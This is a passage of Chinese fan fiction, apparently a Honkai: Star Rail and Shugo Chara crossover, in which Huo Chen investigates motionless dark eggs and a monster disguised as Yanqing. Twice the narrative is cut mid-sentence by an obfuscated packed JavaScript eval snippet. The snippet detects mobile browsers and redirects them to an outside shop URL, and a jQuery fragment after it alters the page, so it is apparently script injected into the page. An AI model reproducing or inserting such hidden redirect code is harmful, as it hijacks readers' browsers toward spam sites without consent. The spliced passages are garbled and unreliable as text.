表情严肃:“但是火尘,这段时间你先多多相信自己无往不利的直觉,一旦觉得自己见到的人有什么不对,就马上告诉我,猜错了也不要紧,但不要大意。” 跟隐书队长说的话有点像。 “是守护甜心的问题?” “嘶……你这么一说,还真有点像,不过不是守护甜心,是别的,可以理解成,”彦卿琢磨一下,不确定,“妖物?” 这已经不是一点点吓人了。 “罗浮闹鬼?” 彦卿瞪眼:“你又要走?” “没有!”火尘没招了,吐槽,“你不要我一说罗浮怎么怎么就以为我要走,在外面待着比在罗浮辛苦多了。”他还以为这阵子相处足以打消彦卿不好的念头,现在看是道阻且长。 彦卿勉强相信他,继续说:“没有闹鬼,仙舟之上并无鬼魂……据说已经派出十王司的判官调查了,我们云骑也要配合。” 十王司判官? 火尘倒是听说过,判官负责接引堕入魔阴的长生种,人为区分生死,就像传说故事中的阴曹地府一样,少有人得见真容。 判官都派出来了,难不成跟魔阴身有关?好像不太对。 “至于对方强力与否,其实我到现在都还没碰上过,不好说,”彦卿摸摸下巴,两眼放光,“要是有机会能过上两招……” 又在兴奋地找危险事情做了。 “行,我记住了,”火尘叹气,这个人根本就是哪里危险去哪里,“相信自己的直觉,有事就跟你说。” “嗯,跟附近的云骑说也行。” 彦卿交代完就走了。 不一会儿,火尘收到一条消息,来自锦书:【看楼下。】 他站起,低头,锦书正在楼下向他招手。 “咋了?”他下楼。 锦书递给他一篮水果,咬牙切齿:“你居然不告诉我那是彦卿大人。” 他接过:“……我以为你知道呢。”上次的短信原来是在说这事。 “我只听过一些传言,从来没见过本人啊!”锦书手空了,正好方便她兴奋比划,“彦卿大人是我的偶像!” 火尘:“脸都不认得也可以是偶像吗。” “当然可以!”锦书两眼放光振振有词,“崇拜的是一种精神、一种气度、一种文化嘛!” “彦卿大人和我们是同龄人,是我们这个年龄段的英雄呀。” “彦卿大人存在,天然就意味着——”锦书挺胸抬头,像在跟不在场的谁交流,“‘年纪小也可以做到很多事情’‘少仗着自己早出生几年就对我们指手画脚了’!” 火尘沉默片刻。 “但你不认识彦卿的脸。” “仰慕嘛!听说就可以了,远远看着就可以了!要有距离感懂不懂……怪了,你为什么和彦卿大人关系这么好?” “你们看起来没什么共同话题啊。” 火尘:…… “没有原因,”他理直气壮,“就是关系好。” 锦书默默无语了。 片刻后,火尘了解到,锦书最近在做交感幻戏,想请他帮忙测试。 “……我记得你上回还在卖吃的,上上回是卖首饰,现在怎么又做幻戏了?” “哎呀,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432668|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法是会变的嘛,反正都是我家的铺子。” 此行的重要目的“传教”已经达成,幻戏这忙帮不帮都无所谓似的,锦书送完水果送幻戏,转头哼着歌走了。 他慢吞吞回楼上,躺回阳台看天: 同龄人的英雄…… 一天到晚怎么这么多名头啊。 锦书神采飞扬的部分和彦卿很像,不知道彦卿听说别人把他当偶像会不会高兴……应该会吧; 长乐天的天空颜色和彦卿的衣服颜色很像,整体深蓝,几缕紫色流光弯弯折折,挂在天上像流动的云彩。 他无所事事看了会儿天,也没等到彦卿再经过,倒是隐书队长来了,请他帮忙把今天抓获的黑化蛋送去白露大人那里。虽然今天他放假。 “真是抱歉,火尘,另一个守护者本来和我在一起的,可是他走着走着就停下,三催四催才肯动。” 隐书捧着装黑化蛋的盒子,盒子很高,遮得小姑娘堪堪露出眼睛,无奈又纳闷:“我问他是不是生病,要不要看医生,他说回家睡一觉就没事了……怪怪的。” “或者我送去丹鼎司,你帮我留在长乐天看店好不好?” 火尘想想,反正他今天很闲:“我送去吧。” “那真是太感谢了。” 告别满脸高兴的小队长,火尘搭星槎到丹鼎司,一路上居然好巧不巧又碰上几个黑化蛋。 奇怪的是,这些黑化蛋都十分安静,火尘抓得很轻松,简直像在路边捡石子一样简单。 他打开盒子,透过缝隙看:三四个黑化蛋躺在一起,没有要逃出的迹象,甚至一点动静都没有,简直…… “简直像是已经死掉了。” 小燃也扒着缝隙看。 他和小燃对视一眼,低头给白露发信息,对方似乎很感兴趣,让他们赶紧来龙树下。 行医集市中央,长成龙形的大树,很好找,白露正站在那附近。 “完全不动?” “对。” 白露听了他的话,就不隔着缝隙看了,直接打开盒子拿出一个黑化蛋观察:“唔,少见……” 火尘在旁边等。 “知道这些都是谁的蛋吗?” 他摇头,不过:“我的队长说,黑化蛋被净化之后会自行回归主人身体。” “是这样没错,但我想弄清楚它们没动静的原因。” 白露想想:“算了,先净化吧。” “您这次不担心被看出疲态?” “不担心,族里对我的看管松很多了,这么点小事,”白露似乎心情不错,“也正好,你应该还没看过变身,本小姐变给你看哈!” ? 还没等火尘想明白“变身”的意思,白云已经出现在白露胸口,变作一个发着耀眼白光的蛋,融进了白露身体里! !还能塞回去的? 看来是守护甜心形象改造后的下一个阶段。白光大盛,他倒是想听白露的认真看清楚,奈何确实什么都看不清,能看清时,面前已经是一身华丽装束的白露了。 火尘认真赞叹:“哇。” 白露昂首挺胸:“漂亮吧!” “漂亮!” 一个技能下去,几个黑化蛋瞬间变回壳上冒爱心的白蛋。 “强力吧!” “强力!” 两人一唱一和高兴完,低头时却不免诧异: “这些蛋……” 还是没动。 既没有像以前被净化时那样放出强烈的光芒,也没有被唤醒后自动回到主人身边,就只是变回纯白,躺在盒子里,像没有生命的摆件。 46.妖物缠身 火尘回到家。 黑化蛋不动的事情暂时没有后续,在他之后,还有另一个洞天的守护者找来,也是一样的情况。 “是一帮去绥园探险的学生,其中一个走着走着不见了,同伴找回他时,心灵之蛋已经黑化。” 白露暂时也没有头绪,只能把蛋都净化了腾出空房间安置,那些蛋安静下来倒是很好糊弄,放纸箱里也没有怨言。 小燃坐在他肩膀上:“依现在的情况,有怨言反而是好事。”至少有反应。 他赞同,想起:“最开始你一点反应都没有的时候,我还希望你是个摆件呢。” 小燃仰头:“现在呢?” 现在啊。 火尘看着小燃的短发,惊觉自己现在也是短发,虽说他剪短的时候确实什么都没想。 我好像越来越像他了。他这么想,可一转念又觉得不对,不知道到底该说是谁像谁。 他岔开话题:“今天一天见这么多人也真够累的,就不做饭了吧,我们在外面买点带回去?” 小燃笑了一声,大概是笑他跟自己也要来顾左右而言他这一套:“好啊。” 他有点不自在,但也只一点,转头往小摊走。 最初他只觉“理想中的自己”这个概念奇怪又别扭,不想让不像自己的人占了理想位,又不想和太像自己的人整日面对面,小燃孵出来之后也别扭了一阵,现在看,却没有比小燃更适合占自己理想位的了。 火尘往肩上瞥一眼。 如果是个摆件……或许很多事情他都不会经历,也叫人想象不出自己今日的样子。 “恩同再造吗?”小燃已经吃上了,嘴还没停,“有点肉麻了。” 火尘:……你又读上心了是吧。 很烦欸。 “火尘哥哥!” 坐路边吃垃圾食品的时候有小朋友来找,倒是意外之喜。 小鱼快步上前,手里牵着谛听,脑袋边浮着守护甜心,看起来像个玩具多多的小朋友。 “嗯,小鱼。” 他应话,看向对面守护甜心,小精灵露出一个浅浅的微笑,跟着小鱼喊:“火尘哥哥。” “嗯,”他再应话,“逍遥。” 守护甜心的名字都是一诞生就有的,通常不会太复杂,“逍遥”这个名字跟小鱼不太搭,但彦卿给它找了个很合理的解释: “是《逍遥游》吧,小鱼会长成大鱼,大鱼再长成大鸟。” “大鸟?” “‘怒而飞,其翼若垂天之云’,就是说这只大鸟大到翅膀张开,像垂在天上的云。” 小鱼当时脸红扑扑地摆手:“小鱼,大概长不了那么大,不过、不过,小鱼努力!” 总之“逍遥”这个名字是一诞生就有的,但偏偏守护甜心不笑时又有点像丹枢,叫火尘忍不住忧心。 万一…… 什么万一?没有万一!这种多余的担忧,就拿彦卿提的大鱼大鸟大概念来压好了! 他猛摇头,问了问小鱼的近况,小姑娘有问必答,组织语言的间隙,守护甜心就在旁边静静陪着,等小鱼扭头了,再适时提醒。 如果说彦卿和白露的守护甜心是放飞自我型,锦书的是弥补不足型,小燃是不知道什么型,那小鱼的逍遥毫无疑问是引导型。 简直就像从自己的心里长出来的老师。 守护蛋、守护甜心,同“心灵之蛋”的官方名称一样,是跟持有者的心联系在一起的。 和小鱼道别回家后,火尘边洗水果边还在想。 心灵之蛋有问题,说明心有问题;心灵之蛋不动了,说明心不动了…… 心不动了! 小燃:“想啥呢,持有者要是死了,守护蛋自然也不会存在,现在只是不动而已。” “那你说为什么不动?” “我要是知道,当时就告诉白露大人了……” 一大一小日常叽歪,洗完水果推开厨房门,正听到门铃声。 谁? 火尘在脑子里筛一圈,发现这阵子见的人有点多,一下筛不出来,索性直接去开门。 开了门就更叫人吃惊了: 数个系统时前才告别的好朋友,抱剑站在门外对他微笑。 “彦卿?” “彦卿”点头。 他怔愣。 “火尘,让我进去,”“彦卿”指指屋里,歪头,“好不好?” 火尘:…… 他扭头,看见小燃抱来一小块他切好的水果,边吃边看,眼珠子滴溜转,兴致盎然;又扭回来,看笑意盈盈却十分古怪的“彦卿”。 你忘记你刚才还“唰”一下出现在阳台,又“唰”一下走掉还顺我零食的事了吗? 你忘记神策府还有将军在等你回家吃饭了?这个点跑来这里。 你忘记自己因为怕吓到路人,非作战时都很少把剑拿出来还不裹剑衣了? 饶是在心里严苛地圈圈画画面前这个“彦卿”ooc的地方,火尘到底抵抗不了这句“好不好”,侧身让人进来了。 小燃笑,坐到他肩膀上,小声:“‘妖物’来啦。” “知道。”但他好奇这妖物为何变作彦卿的模样。 对方看起来没什么敌意,模仿别人还错漏百出,大概智商也不怎么高。底下就有云骑,火尘没太紧张,掏出手机,准备再观察一阵。 “彦卿”在客厅坐下,火尘把果盘往他那边推推,“彦卿”弯弯眼:“谢谢。” 可爱。 火尘:这个妖物蛊惑人心的本事不俗。 小燃:是你对彦卿抵抗力太弱了,白痴。 火尘不管,自顾自也开吃,吃到一半,发现对面人没有在吃了,只笑吟吟看着他。 “怎,”他差一点咬到舌头,“怎么?” “嘘——” “彦卿”比划一个噤声的动作,眨眨眼,他听话屏息,左看右看,看不出噤声的必要。 “彦卿”起身了,身影却变得模糊,他感觉自己在向后倒,看到小燃往他这边扑过来,之后就眼前一黑,什么都不知道了。 他开始做梦。 梦到各种东西,一下是小鱼的眼睛好了,一下是父母的脸清晰了,一下是彦卿坐在他身上垂头跟他说话,场景跟那天晚上一样。 “你哪里都好,没有不好。” 彦卿盯着他看了好一会儿,玩笑一样问他:“这么喜欢我呀?” 他听到自己说:“是,我最喜欢你了。” 然后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435222|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被自己吓醒了,醒来时歪歪斜斜倒在沙发上,坐直,忍不住打了个喷嚏,小燃趴在他身上打哈欠,颠了一下颠醒了。 一大一小对视一眼。 小燃:“妖物。” 火尘:“妖物。” 在同样的眼睛里看到同样的疲倦,然而已经早上,火尘要顶着两个大黑眼圈去上班,小燃搬来蛋壳缩进他口袋要继续睡觉。 精气神本来就不多,还全被妖怪吸走了。 火尘游魂一样顶着可实质化的漆黑怨气在路上移动,路过三余书肆,被来借书的青雀瞧个正着。 隐书仰头看他正脸,发出牙疼的声音:“嘶——” 青雀托下巴:“你终于被人打了?” 火尘死人脸:“解释一下什么叫‘终于’?” 长生种维持着近乎恒定的身体状态,但短生种有点风吹草动就会借身体表现出来,比如他这重到仿佛被殴打过的黑眼圈。 “都这样了,上什么班啊,”青雀呼吁他加入雀门,随手摸出一个悬浮小牌桌,“来组个局?” “你今天不用上班吗?” “早得很,我摸两圈牌再去。” 青雀是时间管理大师。可惜火尘没这本事,拒绝了青雀的提议就坐上去工造司的星槎,下了星槎继续昏昏沉沉在路上走。 哦,对。他慢好多拍反应过来,得跟彦卿说妖物的事情。 可是怎么说?他连妖物的形都没看见,毕竟对方变作了彦卿的样子……是狐族幻术?易容术? 貌似还有能让人做梦的能力…… 他边想边走,走得很慢,路过的匠人看他这副样子问几句,他倒也能应声,一问一答之间,脑子好像也清醒了不少。 难道只是没睡好? 确实没睡好。想到这里,火尘伸个懒腰,听见几声骨头响动——毕竟缩在沙发上睡了一夜,被子都没盖,也不知道会不会有问题。 目前看问题不大。 路过廊桥,往中央高处看,正能看到造化洪炉——这段时间师父就忙着修这个,枝条疯长时貌似破坏了炉子的内部结构,修理需要格外小心,以免造成二次破坏。 火尘盯着大炉子看了会儿,看见炉身冒出来的青绿色火焰,感觉有点眼熟。 说起来,他还不知道造化洪炉是用来干什么的,难道只是工造司的标志物吗…… 【走】 【快走】 【远离它】 【不要过去】 【不要再关我……】 刚说自己好点了,又莫名其妙听见一大串词在脑子里蹦跶,搅得他又开始发昏,险些站不住。 他扶着栏杆缓缓,缓过神了,抬头,继续看向造化洪炉。 【小燃、小燃?】 他在心里喊了两声,小燃勉力回应,听声音却疲劳至极: 【……怎么?】 【我们该去一次造化洪炉。】 【……】 小燃没声了,也没有要揭开蛋壳的意思,像是只醒了那几秒就继续睡。 守护甜心状态比他还差。 蓦地,火尘想起那几个全无动静的蛋,暗道不好,也不管脑子里催促他远离的尖叫声突然消失,抬腿就往造化洪炉方向赶。